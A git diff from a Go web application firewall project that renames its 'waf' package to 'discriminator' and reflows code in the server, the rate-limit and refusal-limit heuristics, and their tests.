// RequestLog receives two JSON lines per question, one at its decision and
|
||||||
// one when its report comes, and one per request to waf's own
|
// one when its report comes, and one per request to discriminator's own
|
||||||
// endpoints.
|
// endpoints.
|
||||||
RequestLog io.Writer
|
RequestLog io.Writer
|
||||||
// ProcessLog receives the process's own messages.
|
// ProcessLog receives the process's own messages.
|
||||||
@@ -73,7 +73,7 @@ type Params struct {
|
|||||||
// Rules are the rule files' rules, which each request is checked
|
// Rules are the rule files' rules, which each request is checked
|
||||||
// against.
|
// against.
|
||||||
Rules *rules.Files
|
Rules *rules.Files
|
||||||
// Alerts receive the alert for each ban waf makes or makes
|
// Alerts receive the alert for each ban discriminator makes or makes
|
||||||
// permanent, for each count over an anomaly threshold, for each request
|
// permanent, for each count over an anomaly threshold, for each request
|
||||||
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
|
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
|
||||||
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
|
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
|
||||||
@@ -83,11 +83,11 @@ type Params struct {
|
|||||||
Alerts *alerts.Queue
|
Alerts *alerts.Queue
|
||||||
}
|
}
|
||||||
|
|
||||||
// Server is the server waf runs, with the parts whose state the state
|
// Server is the server discriminator runs, with the parts whose state the state
|
||||||
// files keep, the lookup database, nil unless SWW_LOOKUP_SOURCE is file, the
|
// files keep, the lookup database, nil unless SWW_LOOKUP_SOURCE is file, the
|
||||||
// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
|
// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
|
||||||
// AbuseIPDB's scores and checks spent, routewatch's answers, and the metrics.
|
// AbuseIPDB's scores and checks spent, and the metrics. RouteWatch, nil while
|
||||||
// RouteWatch is nil while SWW_ROUTEWATCH_URL is unset.
|
// SWW_ROUTEWATCH_URL is unset, keeps its answers in memory only.
|
||||||
type Server struct {
|
type Server struct {
|
||||||
*http.Server
|
*http.Server
|
||||||
|
|
||||||
@@ -228,8 +228,7 @@ func newReputation(
|
|||||||
// an error in every mode. While the mode is off, a set file is loaded with the
|
// an error in every mode. While the mode is off, a set file is loaded with the
|
||||||
// Core Rule Set only to check it.
|
// Core Rule Set only to check it.
|
||||||
func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
|
func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
|
||||||
if cfg.WAFMode == config.WAFModeOff &&
|
if cfg.WAFMode == config.WAFModeOff && cfg.CoreRuleSetExclusionsFile == "" {
|
||||||
cfg.CoreRuleSetExclusionsFile == "" {
|
|
||||||
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
|
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -249,7 +248,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
|
|||||||
return coreRuleSet, nil
|
return coreRuleSet, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// handler is waf's handler. It holds what every request shares; what
|
// handler is discriminator's handler. It holds what every request shares; what
|
||||||
// belongs to one request is in a request.
|
// belongs to one request is in a request.
|
||||||
type handler struct {
|
type handler struct {
|
||||||
config *config.Config
|
config *config.Config
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"bufio"
|
"bufio"
|
||||||
@@ -17,11 +17,11 @@ import (
|
|||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -177,9 +177,9 @@ func (o *output) requestLine(t *testing.T) logLine {
|
|||||||
return o.requestLines(t, 1)[0]
|
return o.requestLines(t, 1)[0]
|
||||||
}
|
}
|
||||||
|
|
||||||
// endedLines waits for count requests that went through rproxy, or to waf's
|
// endedLines waits for count requests that went through rproxy, or to discriminator's
|
||||||
// own endpoints, to have ended, and returns the last log line of each, in the
|
// own endpoints, to have ended, and returns the last log line of each, in the
|
||||||
// order waf took them. A question's last line is the one its report writes.
|
// order discriminator took them. A question's last line is the one its report writes.
|
||||||
func (o *output) endedLines(t *testing.T, count int) []logLine {
|
func (o *output) endedLines(t *testing.T, count int) []logLine {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -189,7 +189,7 @@ func (o *output) endedLines(t *testing.T, count int) []logLine {
|
|||||||
|
|
||||||
ended := len(found) >= count
|
ended := len(found) >= count
|
||||||
for _, line := range found[:min(count, len(found))] {
|
for _, line := range found[:min(count, len(found))] {
|
||||||
if line.WAFLine == requestlog.WAFLineDecision {
|
if line.DiscriminatorLine == requestlog.DiscriminatorLineDecision {
|
||||||
ended = false
|
ended = false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -207,7 +207,7 @@ func (o *output) endedLines(t *testing.T, count int) []logLine {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// lastLines returns the last request log line written so far of each request,
|
// lastLines returns the last request log line written so far of each request,
|
||||||
// in the order waf took them.
|
// in the order discriminator took them.
|
||||||
func (o *output) lastLines(t *testing.T) []logLine {
|
func (o *output) lastLines(t *testing.T) []logLine {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
@@ -273,14 +273,10 @@ func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server {
|
|||||||
return server
|
return server
|
||||||
}
|
}
|
||||||
|
|
||||||
// startProxy starts waf, and rproxy in front of the app at appURL, each with
|
// startProxy starts discriminator, and rproxy in front of the app at appURL, each with
|
||||||
// the settings in env on top of the defaults, and returns where rproxy listens
|
// the settings in env on top of the defaults, and returns where rproxy listens
|
||||||
// and what waf writes.
|
// and what discriminator writes.
|
||||||
func startProxy(
|
func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) {
|
||||||
t *testing.T,
|
|
||||||
appURL string,
|
|
||||||
env map[string]string,
|
|
||||||
) (string, *output) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
return startProxyWithGeoJS(t, appURL, "", env)
|
return startProxyWithGeoJS(t, appURL, "", env)
|
||||||
@@ -299,36 +295,30 @@ func startProxyWithGeoJS(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// startProxyWithClock is startProxyWithGeoJS with requests counted and
|
// startProxyWithClock is startProxyWithGeoJS with requests counted and
|
||||||
// bans made by the time now tells, and returns waf's server as well, whose
|
// bans made by the time now tells, and returns discriminator's server as well, whose
|
||||||
// Addr is where waf listens. Unless env sets SWW_RULES_DIR, it is an empty
|
// Addr is where discriminator listens. Unless env sets SWW_RULES_DIR, it is an empty
|
||||||
// directory, of no rules, and unless it sets SWW_INSTANCE_NAME, that is app,
|
// directory, of no rules, and unless it sets SWW_INSTANCE_NAME, that is app,
|
||||||
// the label instance of every metric.
|
// the label instance of every metric.
|
||||||
func startProxyWithClock(
|
func startProxyWithClock(
|
||||||
t *testing.T, appURL, geojsURL string, now func() time.Time,
|
t *testing.T, appURL, geojsURL string, now func() time.Time,
|
||||||
env map[string]string,
|
env map[string]string,
|
||||||
) (string, *output, *waf.Server) {
|
) (string, *output, *discriminator.Server) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
addr, out, server, _ := startProxyWithAlerts(
|
addr, out, server, _ := startProxyWithAlerts(t, appURL, geojsURL, now, env)
|
||||||
t,
|
|
||||||
appURL,
|
|
||||||
geojsURL,
|
|
||||||
now,
|
|
||||||
env,
|
|
||||||
)
|
|
||||||
|
|
||||||
return addr, out, server
|
return addr, out, server
|
||||||
}
|
}
|
||||||
|
|
||||||
// startProxyWithAlerts is startProxyWithClock, and returns the queue of
|
// startProxyWithAlerts is startProxyWithClock, and returns the queue of
|
||||||
// the alerts waf raises as well, as newWAF makes them.
|
// the alerts discriminator raises as well, as newDiscriminator makes them.
|
||||||
func startProxyWithAlerts(
|
func startProxyWithAlerts(
|
||||||
t *testing.T, appURL, geojsURL string, now func() time.Time,
|
t *testing.T, appURL, geojsURL string, now func() time.Time,
|
||||||
env map[string]string,
|
env map[string]string,
|
||||||
) (string, *output, *waf.Server, *alerts.Queue) {
|
) (string, *output, *discriminator.Server, *alerts.Queue) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
server, out, alertQueue := newWAF(t, geojsURL, now, env)
|
server, out, alertQueue := newDiscriminator(t, geojsURL, now, env)
|
||||||
serve(t, server)
|
serve(t, server)
|
||||||
|
|
||||||
return startRProxy(t, server.Addr, appURL, env), out, server, alertQueue
|
return startRProxy(t, server.Addr, appURL, env), out, server, alertQueue
|
||||||
@@ -336,14 +326,10 @@ func startProxyWithAlerts(
|
|||||||
|
|
||||||
// serve serves server on a port of its own until the test ends, and sets its
|
// serve serves server on a port of its own until the test ends, and sets its
|
||||||
// Addr to where it listens.
|
// Addr to where it listens.
|
||||||
func serve(t *testing.T, server *waf.Server) {
|
func serve(t *testing.T, server *discriminator.Server) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(
|
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
||||||
t.Context(),
|
|
||||||
"tcp",
|
|
||||||
localhost+":0",
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -359,29 +345,27 @@ func serve(t *testing.T, server *waf.Server) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
// startRProxy starts rproxy in front of the app at appURL, asking the waf
|
// startRProxy starts rproxy in front of the app at appURL, asking the discriminator
|
||||||
// at wafAddr, with the settings in env on top of the defaults, and returns
|
// at discriminatorAddr, with the settings in env on top of the defaults, and returns
|
||||||
// where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless
|
// where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless
|
||||||
// env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide.
|
// env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide.
|
||||||
func startRProxy(
|
func startRProxy(
|
||||||
t *testing.T, wafAddr, appURL string, env map[string]string,
|
t *testing.T, discriminatorAddr, appURL string, env map[string]string,
|
||||||
) string {
|
) string {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
settings := map[string]string{
|
settings := map[string]string{
|
||||||
"SWRP_WAF_BACKEND": "http://" + wafAddr,
|
"SWRP_WAF_BACKEND": "http://" + discriminatorAddr,
|
||||||
"SWRP_UPSTREAM_URL": appURL,
|
"SWRP_UPSTREAM_URL": appURL,
|
||||||
"SWRP_TIMEOUT_MS": "60000",
|
"SWRP_TIMEOUT_MS": "60000",
|
||||||
}
|
}
|
||||||
maps.Copy(settings, env)
|
maps.Copy(settings, env)
|
||||||
|
|
||||||
cfg, err := config.RProxyFromEnvironment(
|
cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
|
||||||
func(name string) (string, bool) {
|
value, ok := settings[name]
|
||||||
value, ok := settings[name]
|
|
||||||
|
|
||||||
return value, ok
|
return value, ok
|
||||||
},
|
})
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings %v: %v", settings, err)
|
t.Fatalf("settings %v: %v", settings, err)
|
||||||
}
|
}
|
||||||
@@ -389,18 +373,10 @@ func startRProxy(
|
|||||||
server := rproxy.New(rproxy.Params{
|
server := rproxy.New(rproxy.Params{
|
||||||
Config: cfg,
|
Config: cfg,
|
||||||
RequestLog: io.Discard,
|
RequestLog: io.Discard,
|
||||||
ProcessLog: requestlog.NewProcessLogger(
|
ProcessLog: requestlog.NewProcessLogger(io.Discard, "rproxy", slog.LevelInfo),
|
||||||
io.Discard,
|
|
||||||
"rproxy",
|
|
||||||
slog.LevelInfo,
|
|
||||||
),
|
|
||||||
})
|
})
|
||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(
|
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
||||||
t.Context(),
|
|
||||||
"tcp",
|
|
||||||
localhost+":0",
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -416,7 +392,7 @@ func startRProxy(
|
|||||||
return listener.Addr().String()
|
return listener.Addr().String()
|
||||||
}
|
}
|
||||||
|
|
||||||
// newWAF makes waf's server, without starting it, and
|
// newDiscriminator makes discriminator's server, without starting it, and
|
||||||
// returns it, what it writes, and the queue of the alerts it raises, as the
|
// returns it, what it writes, and the queue of the alerts it raises, as the
|
||||||
// settings in env make it. No alert is sent from the queue: they wait in it,
|
// settings in env make it. No alert is sent from the queue: they wait in it,
|
||||||
// for the test to look at.
|
// for the test to look at.
|
||||||
@@ -426,22 +402,19 @@ func startRProxy(
|
|||||||
// at abuseIPDBURL while env sets SWW_ABUSEIPDB_KEY. SWW_WAF_MODE is off unless
|
// at abuseIPDBURL while env sets SWW_ABUSEIPDB_KEY. SWW_WAF_MODE is off unless
|
||||||
// env sets it, so that only the tests of the Core Rule Set have their requests
|
// env sets it, so that only the tests of the Core Rule Set have their requests
|
||||||
// inspected by it.
|
// inspected by it.
|
||||||
func newWAF(
|
func newDiscriminator(
|
||||||
t *testing.T,
|
t *testing.T, geojsURL string, now func() time.Time, env map[string]string,
|
||||||
geojsURL string,
|
) (*discriminator.Server, *output, *alerts.Queue) {
|
||||||
now func() time.Time,
|
|
||||||
env map[string]string,
|
|
||||||
) (*waf.Server, *output, *alerts.Queue) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
return newWAFWith(t, waf.New, geojsURL, now, env)
|
return newDiscriminatorWith(t, discriminator.New, geojsURL, now, env)
|
||||||
}
|
}
|
||||||
|
|
||||||
// newWAFWith is newWAF for the server build makes.
|
// newDiscriminatorWith is newDiscriminator for the server build makes.
|
||||||
func newWAFWith(
|
func newDiscriminatorWith(
|
||||||
t *testing.T, build func(waf.Params) *waf.Server,
|
t *testing.T, build func(discriminator.Params) *discriminator.Server,
|
||||||
geojsURL string, now func() time.Time, env map[string]string,
|
geojsURL string, now func() time.Time, env map[string]string,
|
||||||
) (*waf.Server, *output, *alerts.Queue) {
|
) (*discriminator.Server, *output, *alerts.Queue) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
settings := map[string]string{
|
settings := map[string]string{
|
||||||
@@ -463,11 +436,7 @@ func newWAFWith(
|
|||||||
}
|
}
|
||||||
|
|
||||||
out := &output{}
|
out := &output{}
|
||||||
processLog := requestlog.NewProcessLogger(
|
processLog := requestlog.NewProcessLogger(out, cfg.InstanceName, cfg.LogLevel)
|
||||||
out,
|
|
||||||
cfg.InstanceName,
|
|
||||||
cfg.LogLevel,
|
|
||||||
)
|
|
||||||
|
|
||||||
ruleFiles, err := rules.Load(rules.Params{
|
ruleFiles, err := rules.Load(rules.Params{
|
||||||
Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
|
Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
|
||||||
@@ -497,12 +466,12 @@ func newWAFWith(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
coreRuleSet, err := waf.NewCoreRuleSet(cfg)
|
coreRuleSet, err := discriminator.NewCoreRuleSet(cfg)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("Core Rule Set: %v", err)
|
t.Fatalf("Core Rule Set: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
server := build(waf.Params{
|
server := build(discriminator.Params{
|
||||||
Config: cfg,
|
Config: cfg,
|
||||||
RequestLog: out,
|
RequestLog: out,
|
||||||
ProcessLog: processLog,
|
ProcessLog: processLog,
|
||||||
@@ -544,28 +513,14 @@ func readAnswer(res *http.Response) answer {
|
|||||||
body, err := io.ReadAll(res.Body)
|
body, err := io.ReadAll(res.Body)
|
||||||
_ = res.Body.Close()
|
_ = res.Body.Close()
|
||||||
|
|
||||||
return answer{
|
return answer{status: res.StatusCode, header: res.Header, body: body, err: err}
|
||||||
status: res.StatusCode,
|
|
||||||
header: res.Header,
|
|
||||||
body: body,
|
|
||||||
err: err,
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// newRequest makes a request for path to addr, where rproxy or waf listens.
|
// newRequest makes a request for path to addr, where rproxy or discriminator listens.
|
||||||
func newRequest(
|
func newRequest(t *testing.T, method, addr, path string, body io.Reader) *http.Request {
|
||||||
t *testing.T,
|
|
||||||
method, addr, path string,
|
|
||||||
body io.Reader,
|
|
||||||
) *http.Request {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(
|
req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+path, body)
|
||||||
t.Context(),
|
|
||||||
method,
|
|
||||||
"http://"+addr+path,
|
|
||||||
body,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("new request: %v", err)
|
t.Fatalf("new request: %v", err)
|
||||||
}
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic rate_limits. It reads SWW_RATE_LIMIT_EXEMPT_NETS,
|
// The heuristic rate_limits. It reads SWW_RATE_LIMIT_EXEMPT_NETS,
|
||||||
// SWW_RATE_LIMIT_EXEMPT_PATHS and SWW_BAN_RESPONSE, and the rate limits and
|
// SWW_RATE_LIMIT_EXEMPT_PATHS and SWW_BAN_RESPONSE, and the rate limits and
|
||||||
@@ -22,11 +22,7 @@ type rateLimits struct{}
|
|||||||
|
|
||||||
func (rateLimits) name() string { return "rate_limits" }
|
func (rateLimits) name() string { return "rate_limits" }
|
||||||
|
|
||||||
func (rateLimits) check(
|
func (rateLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||||
_ context.Context,
|
|
||||||
rq *request,
|
|
||||||
now time.Time,
|
|
||||||
) *verdict {
|
|
||||||
rq.counted = rq.countedByRateLimits()
|
rq.counted = rq.countedByRateLimits()
|
||||||
if !rq.counted {
|
if !rq.counted {
|
||||||
return nil
|
return nil
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
@@ -42,11 +42,7 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
|
|||||||
{otherClient, otherClient, http.StatusOK},
|
{otherClient, otherClient, http.StatusOK},
|
||||||
{"::ffff:" + otherClient, otherClient, http.StatusForbidden},
|
{"::ffff:" + otherClient, otherClient, http.StatusForbidden},
|
||||||
{"2001:db8::1", "2001:db8::1", http.StatusOK},
|
{"2001:db8::1", "2001:db8::1", http.StatusOK},
|
||||||
{
|
{"2001:db8::8000:0:0:1", "2001:db8::8000:0:0:1", http.StatusForbidden},
|
||||||
"2001:db8::8000:0:0:1",
|
|
||||||
"2001:db8::8000:0:0:1",
|
|
||||||
http.StatusForbidden,
|
|
||||||
},
|
|
||||||
{"2001:db8:0:1::1", "2001:db8:0:1::1", http.StatusOK},
|
{"2001:db8:0:1::1", "2001:db8:0:1::1", http.StatusOK},
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -57,11 +53,7 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
|
|||||||
|
|
||||||
line := out.endedLines(t, i+1)[i]
|
line := out.endedLines(t, i+1)[i]
|
||||||
if line.ClientIP != sent.logged {
|
if line.ClientIP != sent.logged {
|
||||||
t.Errorf(
|
t.Errorf("log line has client_ip %q, want %q", line.ClientIP, sent.logged)
|
||||||
"log line has client_ip %q, want %q",
|
|
||||||
line.ClientIP,
|
|
||||||
sent.logged,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if sent.want == http.StatusOK {
|
if sent.want == http.StatusOK {
|
||||||
@@ -83,25 +75,12 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
|
|||||||
func TestRateLimitRefusalNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
func TestRateLimitRefusalNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithClock(
|
s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
|
||||||
t,
|
|
||||||
"",
|
|
||||||
map[string]string{rateLimitPerMinute: "1"},
|
|
||||||
)
|
|
||||||
|
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
client,
|
wantHeuristic(t, line, "rate_limits", `{"window": "minute", "count": 2, "limit": 1}`)
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
)
|
|
||||||
wantHeuristic(
|
|
||||||
t,
|
|
||||||
line,
|
|
||||||
"rate_limits",
|
|
||||||
`{"window": "minute", "count": 2, "limit": 1}`,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
|
func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
|
||||||
@@ -169,26 +148,11 @@ func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
|
|||||||
// With a limit of one request a minute, the requests for paths under a
|
// With a limit of one request a minute, the requests for paths under a
|
||||||
// prefix are not counted, so client's first request for / is within
|
// prefix are not counted, so client's first request for / is within
|
||||||
// the limit; and once client has reached it, they are not refused.
|
// the limit; and once client has reached it, they are not refused.
|
||||||
s.request(
|
s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward)
|
||||||
client,
|
s.request(client, "/favicon.ico?v=2", http.StatusOK, requestlog.ActionForward)
|
||||||
"/assets/app.js",
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
s.request(
|
|
||||||
client,
|
|
||||||
"/favicon.ico?v=2",
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
|
|
||||||
line := s.request(
|
line := s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward)
|
||||||
client,
|
|
||||||
"/assets/app.js",
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
if line.LimitHit != "" || line.Counts != (ratelimit.Counts{}) {
|
if line.LimitHit != "" || line.Counts != (ratelimit.Counts{}) {
|
||||||
t.Errorf("log line has limit_hit %q and counts %+v, want neither",
|
t.Errorf("log line has limit_hit %q and counts %+v, want neither",
|
||||||
line.LimitHit, line.Counts)
|
line.LimitHit, line.Counts)
|
||||||
@@ -250,12 +214,7 @@ func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) {
|
|||||||
// Counted, the second request breaks the limit of one request
|
// Counted, the second request breaks the limit of one request
|
||||||
// a minute.
|
// a minute.
|
||||||
s.request(client, sent, http.StatusOK, requestlog.ActionForward)
|
s.request(client, sent, http.StatusOK, requestlog.ActionForward)
|
||||||
s.request(
|
s.request(client, sent, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
client,
|
|
||||||
sent,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic refusal_limit. It reads SWW_ERROR_BURST_THRESHOLD and
|
// The heuristic refusal_limit. It reads SWW_ERROR_BURST_THRESHOLD and
|
||||||
// SWW_BAN_RESPONSE.
|
// SWW_BAN_RESPONSE.
|
||||||
@@ -11,7 +11,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
|
|
||||||
// refusalLimit counts the request once it has been answered, if waf
|
// refusalLimit counts the request once it has been answered, if discriminator
|
||||||
// refused it after a rule file match, a trap path or a Core Rule Set match, and
|
// refused it after a rule file match, a trap path or a Core Rule Set match, and
|
||||||
// in observe mode if enforce mode would have: more than
|
// in observe mode if enforce mode would have: more than
|
||||||
// SWW_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
|
// SWW_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
|
||||||
@@ -22,11 +22,7 @@ type refusalLimit struct{}
|
|||||||
|
|
||||||
func (refusalLimit) name() string { return "refusal_limit" }
|
func (refusalLimit) name() string { return "refusal_limit" }
|
||||||
|
|
||||||
func (refusalLimit) check(
|
func (refusalLimit) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||||
_ context.Context,
|
|
||||||
rq *request,
|
|
||||||
now time.Time,
|
|
||||||
) *verdict {
|
|
||||||
cfg := rq.h.config
|
cfg := rq.h.config
|
||||||
if cfg.ErrorBurstThreshold == 0 {
|
if cfg.ErrorBurstThreshold == 0 {
|
||||||
return nil
|
return nil
|
||||||
@@ -46,11 +42,9 @@ func (refusalLimit) check(
|
|||||||
status := rq.out.status
|
status := rq.out.status
|
||||||
|
|
||||||
switch rq.line.WouldAction {
|
switch rq.line.WouldAction {
|
||||||
case requestlog.ActionBlockedByBlockRule,
|
case requestlog.ActionBlockedByBlockRule, requestlog.ActionBlockedByCoreRuleSet:
|
||||||
requestlog.ActionBlockedByCoreRuleSet:
|
|
||||||
status = http.StatusForbidden
|
status = http.StatusForbidden
|
||||||
case requestlog.ActionTemporarilyBanned,
|
case requestlog.ActionTemporarilyBanned, requestlog.ActionPermanentlyBanned:
|
||||||
requestlog.ActionPermanentlyBanned:
|
|
||||||
status = cfg.BanResponse
|
status = cfg.BanResponse
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"maps"
|
"maps"
|
||||||
@@ -10,14 +10,14 @@ import (
|
|||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
const errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
const errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
||||||
|
|
||||||
// refused is a request the tests here send, which waf refuses after a rule
|
// refused is a request the tests here send, which discriminator refuses after a rule
|
||||||
// file match.
|
// file match.
|
||||||
type refused int
|
type refused int
|
||||||
|
|
||||||
@@ -52,7 +52,7 @@ func (r refused) send(s *sender, from string) logLine {
|
|||||||
// SWW_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
|
// SWW_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
|
||||||
func startForErrorBurst(
|
func startForErrorBurst(
|
||||||
t *testing.T, threshold string, env map[string]string,
|
t *testing.T, threshold string, env map[string]string,
|
||||||
) (*sender, *clock, *waf.Server) {
|
) (*sender, *clock, *discriminator.Server) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
settings := map[string]string{
|
settings := map[string]string{
|
||||||
@@ -97,13 +97,8 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
|
|||||||
for i, r := range tc.refusals[:3] {
|
for i, r := range tc.refusals[:3] {
|
||||||
line := r.send(s, client)
|
line := r.send(s, client)
|
||||||
if line.LimitHit != "" || line.Offence != "" {
|
if line.LimitHit != "" || line.Offence != "" {
|
||||||
t.Errorf(
|
t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+
|
||||||
"refusal %d: log line has limit_hit %q and offence %q, "+
|
